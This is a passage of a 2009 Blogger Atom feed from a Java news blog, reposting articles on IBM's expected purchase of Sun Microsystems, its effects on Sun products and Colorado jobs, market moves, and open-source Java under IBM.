/&gt;Developers are welcome to visit www.themidnightcoders.com or http://www.sun.com/software/products/glassfish_portfolio/ to learn more about each product and their associated product downloads.&lt;br /&gt;&lt;br /&gt;Midnight Coders, Inc – The RIA Company is the only U.S.-based software developer of cross-platform, client-agnostic Rich Internet Application (RIA) solutions used for development, testing, runtime execution and application intelligence needs. The company’s products and services drastically reduce total time and cost to build RIAs created in Flex, Flash, Silverlight and Ajax with better outcomes in application performance and breadth of offering.&lt;br /&gt;&lt;br /&gt;Sun, Sun Microsystems, the Sun logo, GlassFish, Java, JavaFX and NetBeans are trademarks or registered trademarks of Sun Microsystems, Inc. or its subsidiaries in the United States and other countries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8148241181956655653?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8148241181956655653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8148241181956655653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8148241181956655653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8148241181956655653'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/weborb-for-java-now-supports-sun.html' title='WebORB for Java Now Supports Sun GlassFish Enterprise Server'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-673900192897844624</id><published>2009-04-03T15:23:00.000-07:00</published><updated>2009-04-03T15:25:14.294-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Closing bell: no reaction to jobs report (JAVA, RIMM, BBI, DIS)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blogcdn.com/www.bloggingstocks.com/media/2007/08/bell-green.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 180px;" src="http://www.blogcdn.com/www.bloggingstocks.com/media/2007/08/bell-green.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In any normal universe, the market would have collapsed on news that unemployment went to 8.5%. To make matters worse, it is obviously going much higher. &lt;p&gt;The market shrugged all of that off and went nowhere. Most financial stocks were up. A number of tech and telecom stocks were down. Whatever bump the G-20 gave the market seems to have dissipated in a day.&lt;/p&gt; &lt;p&gt;The numbers:&lt;/p&gt; &lt;p&gt;DJIA:Dow  8,017.59  +39.51 (0.50%)&lt;br /&gt;S&amp;amp;P 500  842.47  +8.09 (0.97%)&lt;br /&gt;Nasdaq  1,621.87  +19.24 (1.20%)&lt;/p&gt; &lt;p&gt;&lt;a href="http://247wallst.com/2009/04/03/top-analyst-upgrades-std-dvn-eln-rimm-tjx-vod/"&gt;Analyst upgrades&lt;/a&gt;&lt;br /&gt;&lt;a href="http://247wallst.com/2009/04/03/top-analyst-downgrades-akam-bmy-kmx-eslr-gol-hgsi-mon-schn-tdc-ua-dis-wfmi/"&gt;Analyst downgrades&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;a href="http://finance.aol.com/quotes/sun-microsystems-inc/java/nas"&gt;&lt;br /&gt;Sun Microsystems Inc.&lt;/a&gt; (NASDAQ: &lt;a href="http://finance.aol.com/quotes/sun-microsystems-inc/java/nas"&gt;JAVA&lt;/a&gt;) rose slightly on word that the long awaited merger offer from IBM may be coming early next week. Unfortunately, this new price talk is lower than expected, in a $9.00 to $10 range. Shares were up 2% to $8.46.&lt;/p&gt; &lt;p&gt;&lt;a href="http://finance.aol.com/quotes/research-in-motion-limited/rimm/nas"&gt;Research in Motion Ltd.&lt;/a&gt; (NASDAQ: &lt;a href="http://finance.aol.com/quotes/research-in-motion-limited/rimm/nas"&gt;RIMM&lt;/a&gt;) posted much better than expected earnings, even came in above its own lowered guidance, and raised guidance for the next report. The BlackBerry platform has reached almost 25 million subscriber accounts now and RIMM said that half of the customer base is non-enterprise users. Shares were up a sharp 20% to $58.96&lt;/p&gt; &lt;p&gt;&lt;a href="http://finance.aol.com/quotes/blockbuster-inc-class-a/bbi/nys"&gt;Blockbuster Inc.&lt;/a&gt; (NYSE: &lt;a href="http://finance.aol.com/quotes/blockbuster-inc-class-a/bbi/nys"&gt;BBI&lt;/a&gt;) got its loan and liquidity clemency as investors and lenders JPMorgan, Monarch Alternative Capital LP, and Silver Point Capital completed the amendment of Blockbuster's revolving and term loan facility. The new amendment is a $250 million revolving loan refinancing with a maturity date on September 30, 2010. Shares were up almost 7% to 89 cents.&lt;/p&gt; &lt;p&gt;&lt;a href="http://finance.aol.com/quotes/the-walt-disney-company/dis/nys"&gt;The Walt Disney Company&lt;/a&gt; (NYSE: &lt;a href="http://finance.aol.com/quotes/the-walt-disney-company/dis/nys"&gt;DIS&lt;/a&gt;) took it on the chin earlier after an analyst downgrade. Mickey, Hannah, and friends saw the stock's rating cut to Neutral from outperform over at JPMorgan. Disney was down about 1% to $19.98.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-673900192897844624?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/673900192897844624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=673900192897844624' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/673900192897844624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/673900192897844624'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/closing-bell-no-reaction-to-jobs-report.html' title='Closing bell: no reaction to jobs report (JAVA, RIMM, BBI, DIS)'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-147869336939558098</id><published>2009-04-03T15:22:00.000-07:00</published><updated>2009-04-03T15:23:56.055-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Report: IBM lowers Sun bid</title><content type='html'>&lt;div id="storycontent"&gt; &lt;p&gt;&lt;a class="story_clink" href="http://www.bizjournals.com/boston/gen/IBM_534B9CEF4BEC4FC08C9A8115B9EFEACD.html"&gt;&lt;strong&gt;IBM&lt;/strong&gt;&lt;/a&gt; has reportedly lowered its bid for &lt;a class="story_clink" href="http://www.bizjournals.com/boston/gen/Sun_Microsystems_513012B88BD34F269448475132080B65.html"&gt;&lt;strong&gt;Sun Microsystems&lt;/strong&gt;&lt;/a&gt; to $9 to $10, the Wall Street Journal reports.&lt;/p&gt;  &lt;p&gt;The bid had originally been $10 to $11. But Santa Clara, Calif.-based Sun (NASDAQ: JAVA) accepted the lower bid in exchange for commitments from IBM (NYSE: IBM) that it would go through with the deal even if it faced regulatory hurdles. The companies employ roughly 6,000 people in Massachusetts.&lt;/p&gt;  &lt;p&gt;Any deal between the two companies is expected to face an antitrust review from the federal government because of consolidation in the server industry.&lt;/p&gt;              &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-147869336939558098?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/147869336939558098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=147869336939558098' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/147869336939558098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/147869336939558098'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/report-ibm-lowers-sun-bid.html' title='Report: IBM lowers Sun bid'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1786916598876560596</id><published>2009-04-03T15:21:00.000-07:00</published><updated>2009-04-03T15:22:57.072-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>IBM to buy Sun Microsystems: Reports</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://cbc.stockgroup.com/charts/newchart.asp?P1=java&amp;amp;P29=FFFFFF&amp;amp;P25=175&amp;amp;P8=3&amp;amp;P48=0&amp;amp;P31=000000&amp;amp;P33a=CCCCCC"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 175px; height: 129px;" src="http://cbc.stockgroup.com/charts/newchart.asp?P1=java&amp;amp;P29=FFFFFF&amp;amp;P25=175&amp;amp;P8=3&amp;amp;P48=0&amp;amp;P31=000000&amp;amp;P33a=CCCCCC" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;IBM Corp. is close to a deal to buy Sun Microsystems Inc., U.S. media reported Friday.&lt;/p&gt; &lt;p&gt;The two companies, which have been talking since at least mid-March, could announce the deal Friday or early next week, sources told the New York Times, Wall Street Journal and Associated Press.&lt;/p&gt; &lt;p&gt;The deal could be worth nearly $7 billion US, at a price of around $9.50 for each Sun share.&lt;/p&gt; &lt;p&gt;The combined company would be huge in the mainframe computer market, combining IBM's existing business and Sun's Unix sales.&lt;/p&gt; &lt;p&gt;That could cause antitrust problems, media reports said.&lt;/p&gt; &lt;p&gt;Sun sells software, systems, services, and microelectronics and owns brands like the Java technology platform, Solaris operating system, MySQL database management system, StorageTek and the UltraSPARC processor.&lt;/p&gt; &lt;p&gt;The bid price of around $9.50 a share is lower than previous speculation, which suggested the deal would be done at $10 to $11 &lt;/p&gt; &lt;p&gt;Company spokespeople would not comment, the Times said. IBM directors have already approved the deal, the paper's sources said.&lt;/p&gt; &lt;p&gt;Sun stock doubled from almost $4 a share on March 18 as news of the talks became public.&lt;/p&gt; &lt;p&gt;It closed up 27 cents at $8.49 in Nasdaq trading.&lt;/p&gt; &lt;p&gt;IBM rose $1.40 to $102.22 on the New York exchange.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1786916598876560596?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1786916598876560596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1786916598876560596' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1786916598876560596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1786916598876560596'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/ibm-to-buy-sun-microsystems-reports.html' title='IBM to buy Sun Microsystems: Reports'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1151806181439427363</id><published>2009-04-03T15:18:00.000-07:00</published><updated>2009-04-03T15:21:45.225-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Good-bye Solaris? The fate of Sun's top 5 technologies</title><content type='html'>&lt;div id="left"&gt;&lt;br /&gt;&lt;/div&gt;  &lt;!-- ===============================================================================================--&gt; &lt;!-- New Section of code --&gt; &lt;!-- ===============================================================================================--&gt; &lt;!-- Start Main Column --&gt;                                                          &lt;img src="http://blogs.computerworld.com/sites/default/themes/cw_blogs/cache/files/pictures/picture-137.gif" alt="Steven J. Vaughan-Nichols's picture" title="Steven J. Vaughan-Nichols's picture" class="userpic" /&gt;                                     &lt;br /&gt;&lt;br /&gt;&lt;a class="blogger_name" href="http://blogs.computerworld.com/sjvn"&gt;Steven J. Vaughan-Nichols&lt;/a&gt;                     &lt;p class="blog_desc"&gt;Cyber Cynic&lt;/p&gt;&lt;p&gt;By this time next week, &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9130991"&gt;IBM will have bought Sun&lt;/a&gt; at a cut-rate price.  I'd long thought &lt;a href="http://blogs.computerworld.com/sun_set"&gt;Sun was going to down for the count&lt;/a&gt;, so the news that &lt;a href="http://blogs.computerworld.com/the_rise_of_the_blue_sun_ibm_and_sun"&gt;IBM was moving in&lt;/a&gt; didn't surprise me. What happens next though? Specifically, what's going to happen to Sun's product lines? As a long-time watcher of both Sun and IBM, here are my best guesses. &lt;/p&gt;&lt;p&gt;1) &lt;a href="http://www.sun.com/software/solaris"&gt;Solaris/OpenSolaris&lt;/a&gt;: Could &lt;a href="http://blogs.computerworld.com/ding_dong_solaris_is_dead"&gt;IBM just kill this pair of operating systems&lt;/a&gt;? No, I can't see that. Solaris has too many customers even now. What I can't see though is IBM spending any more money on developing Solaris. &lt;/p&gt; &lt;p&gt;IBM already has its own house-brand of Unix, AIX, and Big Blue had invested a billion dollars in Linux back when most people were still ignoring the penguin. Besides, the &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=308743"&gt;Unix server market share has been dwindling&lt;/a&gt; for years. Sure, IBM plus Sun equals the &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9130126"&gt;lion's share of the Unix market&lt;/a&gt;, but it's a dying market.   &lt;/p&gt; &lt;p&gt;OpenSolaris will likely live on as a purely community-based operating system. After failing to gain any real traction against Linux, I expect it to become like the BSD operating systems: useful in niches and with a strong, core group of developers, but never to become a major operating system power. &lt;/p&gt; &lt;p&gt;2) &lt;a href="http://www.sun.com/servers/index.jsp"&gt;SPARC/SPARC Servers&lt;/a&gt;: In three words: SPARC is history. The high-end SPARC business has been getting knocked around for ages by low-cost AMD/Intel servers running Linux for years now. &lt;a href="http://solutions.us.fujitsu.com/www/products_sparc.shtml?products/servers/sparc/index"&gt;Fujitsu&lt;/a&gt; will run what's left of the SPARC chip and system business.  &lt;/p&gt; &lt;p&gt;3) &lt;a href="http://www.java.com/en/"&gt;Java&lt;/a&gt;: Java's creator, James Gosling, probably won't like me saying this, but I've long though that IBM did a better job than Sun with its &lt;a href="http://www.ibm.com/developerworks/java"&gt;Java implementation and the Java-related projects&lt;/a&gt; it supported, like &lt;a href="http://geronimo.apache.org/"&gt;Apache Geronimo&lt;/a&gt; and &lt;a href="http://jakarta.apache.org/"&gt;Jakarta&lt;/a&gt;.  &lt;/p&gt; &lt;p&gt;IBM, unlike Sun, has also long been a completely committed open-source supporter. Because of this, I suspect that IBM will commit to completely opening up Java and its related projects and put them under the control of a revised JCP (Java Community Process). &lt;/p&gt; &lt;p&gt;4) &lt;a href="http://www.netbeans.org/"&gt;NetBeans&lt;/a&gt;: This is an easy one. The NetBeans IDE (integrated development environment) is history. Long live &lt;a href="http://www.eclipse.org/"&gt;Eclipse&lt;/a&gt;. Oh, NetBeans will continue you on as a community project. Open-source code never really dies; it just doesn't get checked out of the repository much anymore. &lt;/p&gt; &lt;p&gt;5) &lt;a href="http://www.mysql.com/"&gt;MySQL&lt;/a&gt;: In some ways, I think this is the most interesting one of all. MySQL is &lt;i&gt;the&lt;/i&gt; DBMS (database management system) of Web 2.0 sites and most open-source DBMS-related projects. After paying a &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9057446&amp;amp;intsrc=it_blogwatch"&gt;billion bucks for MySQL&lt;/a&gt; in 2008, &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9116543"&gt;Sun managed to chase most of MySQL's top programmers&lt;/a&gt; out of the company and &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9057666"&gt;annoy its commercial customers&lt;/a&gt;. Today, it's not even clear &lt;a href="http://blogs.computerworld.com/which_sql_is_mysql"&gt;who's running MySQL&lt;/a&gt; and which direction the DBMS is going in.   &lt;/p&gt; &lt;p&gt;I think IBM will be able to bring some order and sense to the MySQL mess. This will make both customers and developers happier. And, if IBM can combine some of its DB2 goodness with MySQL, that will be all the better. &lt;/p&gt; &lt;p&gt;In the end, I think IBM will do better for both programmers and users with Sun's software products. Solaris and SPARC will end up dying on the vine, but, they were already doing that anyway. But, what do you think? How do you see Sun's various lines faring under IBM? &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1151806181439427363?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1151806181439427363/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1151806181439427363' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1151806181439427363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1151806181439427363'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/good-bye-solaris-fate-of-suns-top-5.html' title='Good-bye Solaris? The fate of Sun&apos;s top 5 technologies'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5732253296889269057</id><published>2009-04-03T15:17:00.000-07:00</published><updated>2009-04-03T15:18:45.582-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>IBM-Sun Microsystems merger could mean more job cuts in Colorado</title><content type='html'>&lt;div id="storycontent"&gt; &lt;p&gt;The expected merger of &lt;a class="story_clink" href="http://www.bizjournals.com/denver/gen/IBM_Corp._534B9CEF4BEC4FC08C9A8115B9EFEACD.html"&gt;&lt;strong&gt;IBM Corp.&lt;/strong&gt;&lt;/a&gt; and &lt;a class="story_clink" href="http://www.bizjournals.com/denver/gen/Sun_Microsystems_Inc._513012B88BD34F269448475132080B65.html"&gt;&lt;strong&gt;Sun Microsystems Inc.&lt;/strong&gt;&lt;/a&gt; — two of Colorado’s largest tech employers — could bring more industry layoffs to the Denver area.&lt;/p&gt;  &lt;p&gt;Bloomberg News and the Wall Street Journal report that a nearly $7 billion IBM deal to acquire Sun should be announced Monday.&lt;/p&gt;  &lt;p&gt;Such mergers almost inevitably prompt layoffs, and any elimination of redundant jobs could hit Sun and its Broomfield campus harder locally than IBM, said James Staten, an industry analyst with Cambridge, Mass.-based Forrester Research.&lt;/p&gt;  &lt;p&gt;“I would think Broomfield has a pretty big target on its back,” he said.&lt;/p&gt;  &lt;p&gt;Armonk, N.Y-based IBM (NYSE: IBM) employs about 3,000 workers at its northeast Boulder campus. Santa Clara, Calif.-based Sun (NASDAQ: JAVA) employs roughly 2,200 at its Broomfield offices. They are the largest private employers in their respective counties.&lt;/p&gt;  &lt;p&gt;The large presence of Sun data-storage work at its Broomfield campus could make it a place where IBM looks to trim, Staten said.&lt;/p&gt;  &lt;p&gt;Sun purchased Louisville-based Storage Technology Corp. in 2005, taking over that company’s data storage products and work force. IBM has its own data storage line and sales force.&lt;/p&gt;  &lt;p&gt;Big Blue will want to keep a lot of Sun’s data-storage sales force because the company’s installed customer base is different from IBM’s, Staten predicted. But a combined IBM and Sun won’t need so many workers in data-storage product development, and that’s an area where IBM is likely to cut, he said.&lt;/p&gt;  &lt;p&gt;Staten doubts Sun will bare the entire brunt of any cutbacks. IBM will want to use of a lot of Sun’s talent, he said.&lt;/p&gt;  &lt;p&gt;“But that won’t be easy — culturally, they’re very different companies,” he said.&lt;/p&gt;  &lt;p&gt;IBM is known to expect innovation to arise out of a formalized, collaborative and somewhat hierarchical process, while Sun is famous for its freewheeling approach to innovation driven by individuals. IBM also lets the services it sells to businesses steer product innovation, while Sun typically innovates new products and tries sell services around them, Staten said.&lt;/p&gt;  &lt;p&gt;Sun’s work force at its Broomfield campus has shrunk to about 2,200, down from a high of about 4,700 immediately after the StorageTek purchase four years ago. Some 227 local Sun workers have been let go in Broomfield this year.&lt;/p&gt;  &lt;p&gt;IBM has laid off an unknown number of workers this year as it sent more of its global services work to India. The company has never revealed how those cuts affected its northeast Boulder campus, but the site is one of IBM’s main global services hubs.&lt;/p&gt;  &lt;p&gt;Other recent metro-area layoffs in the tech industry include 187 laid off in January from hard-drive maker Seagate in Longmont. Broomfield-based Level 3 Communications Inc. (NASDAQ: LVLT) laid off dozens from its headquarters in December, part of 450 jobs it cut nationally.&lt;/p&gt;  &lt;p&gt;Denver-based Qwest Communications International Inc. (NYSE: Q) cut 1,200 jobs in the final three months of 2008, many of them local.&lt;/p&gt;              &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5732253296889269057?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5732253296889269057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5732253296889269057' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5732253296889269057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5732253296889269057'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/ibm-sun-microsystems-merger-could-mean.html' title='IBM-Sun Microsystems merger could mean more job cuts in Colorado'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4833154970848395950</id><published>2009-04-03T15:15:00.000-07:00</published><updated>2009-04-03T15:17:43.115-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Envisioning Sun on IBM's horizon</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i.i.com.com/cnwk.1d/i/ne/pg/fd_2009/031109_ibmsunmicro.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 184px; height: 138px;" src="http://i.i.com.com/cnwk.1d/i/ne/pg/fd_2009/031109_ibmsunmicro.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An IBM acquisition of Sun Microsystems would mean big change for the companies, cloud computing, and the technology landscape. We've rounded up our breaking stories, analysis, and interviews as the story has unfolded over the past few weeks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4833154970848395950?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4833154970848395950/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4833154970848395950' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4833154970848395950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4833154970848395950'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/envisioning-sun-on-ibms-horizon.html' title='Envisioning Sun on IBM&apos;s horizon'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7247801859921344322</id><published>2009-04-03T15:13:00.000-07:00</published><updated>2009-04-03T15:15:10.000-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>If IBM owns Java ...</title><content type='html'>&lt;h3&gt;The future of open source Java development under IBM&lt;/h3&gt;&lt;br /&gt;&lt;p class="first"&gt;The Sun-IBM merger hasn't been finalized but there's little doubt this week that the deal is &lt;a href="http://online.wsj.com/article/SB123869375752683145.html"&gt;coming together&lt;/a&gt;. Many are looking for clues as to how open source, Java-based development will change -- and change it will -- under the                         &lt;a href="http://blogs.computerworld.com/the_rise_of_the_blue_sun_ibm_and_sun"&gt;Big Blue Sun&lt;/a&gt;.                      &lt;/p&gt;                      &lt;p&gt;In the last few years, Sun Microsystems has warmed up to open-sourcing its software. In 2006, Sun &lt;a href="http://practical-tech.com/development/sun-gpls-java/"&gt;opened up Java&lt;/a&gt;, and in 2007 it &lt;a href="http://practical-tech.com/operating-system/sun-to-release-opensolaris-%20under-gpl-version-3/"&gt;open-sourced most of Solaris&lt;/a&gt; under the GPLv3. Smaller, side projects, like &lt;a href="http://www.javaworld.com/javaworld/jw-03-2008/jw-03-java-ides0308.html"&gt;NetBeans&lt;/a&gt;, the Java-based IDE were open-sourced as early as 2001. Sun has also long allowed developers at least some say in the progress                         of Java, through the &lt;a href="http://www.javaworld.com/javaworld/jw-03-2009/jw-03-opening-up-jcp.html"&gt;Java Community Process&lt;/a&gt;. Historically, though, Sun has had a well-documented &lt;a href="http://www.javaworld.com/javaworld/jw-01-2009/jw-01-sun-fights-for-java.html"&gt;love/hate relationship&lt;/a&gt; with open source.                      &lt;/p&gt;                      &lt;p&gt;IBM has had a closer relationship with open source, but it wasn't always that way. In December of 1998, IBM realized that it needed to take a closer look at open source thanks to its customers beginning to pick up Linux. Before that, according to &lt;a href="http://portal.acm.org/citation.cfm?id=1086613"&gt;Peter G. Capek&lt;/a&gt; of IBM Research, IBM handled open source on a case-by-case basis.                      &lt;/p&gt;                      &lt;p&gt;At first, IBM software developers were "skeptical that the quality of the open-source software produced could be sufficient to be relevant to us and our customers." But, the company quickly discovered the benefits of open source software: &lt;/p&gt;                      &lt;blockquote&gt;this development style attracted very skilled developers, and that the overlap between developers and users of a particular OSS project made possible excellent and open communication, rapid development cycles, and intensive real-environment testing, ultimately producing software that was often very good and sometimes excellent by our standards. &lt;/blockquote&gt;                      &lt;p&gt;It also didn't hurt that developers clearly wanted open-source software, Capek said.&lt;/p&gt;                      &lt;blockquote&gt;IBM had released a binary-only version for UNIX of &lt;a href="http://jikes.sourceforge.net/"&gt;Jikes&lt;/a&gt; (a compiler for Java), through our &lt;a href="http://www.alphaworks.ibm.com/"&gt;alphaWorks&lt;/a&gt; Web site in early 1997. This was quite successful, but its success was only a prelude to the release of a Linux version of the same code in mid-July 1998, which was downloaded at seven times the rate of the non-Linux versions. Requests for the source code followed rapidly. &lt;/blockquote&gt;                      &lt;p&gt;It didn't take long, after that, for IBM to convert to open source. While the company has never released its own Linux distribution, in 2008, &lt;a href="http://www.linuxfoundation.org/publications/linuxkerneldevelopment.php"&gt;8.3% of all changes&lt;/a&gt; in the latest Linux kernel came from IBM developers. Only Red Hat and Novell, with 11.2% and 8.9%, had invested more work                         in Linux.                      &lt;/p&gt;                      &lt;p&gt;IBM also has invested in quite a few open source Java projects. It is a major player in the &lt;a href="http://www.javaworld.com/javaworld/jw-10-2008/jw-10-developers-rank-best-app-servers.html"&gt;Apache Web server&lt;/a&gt; space. Among its other Apache projects is &lt;a href="http://www.javaworld.com/javaworld/jw-09-2006/jw-0929-derby.html"&gt;Derby&lt;/a&gt;, a lightweight, Java-based RDBMS. The popular &lt;a href="http://www.eclipse.org/"&gt;Eclipse IDE&lt;/a&gt; also started as an IBM project.                      &lt;/p&gt;                      &lt;div class="textbox"&gt;                         &lt;h4 class="textboxhead"&gt;Let's hear it&lt;/h4&gt;                         &lt;p&gt;What do you think -- how will Java-based development change under IBM? Speak your mind in the 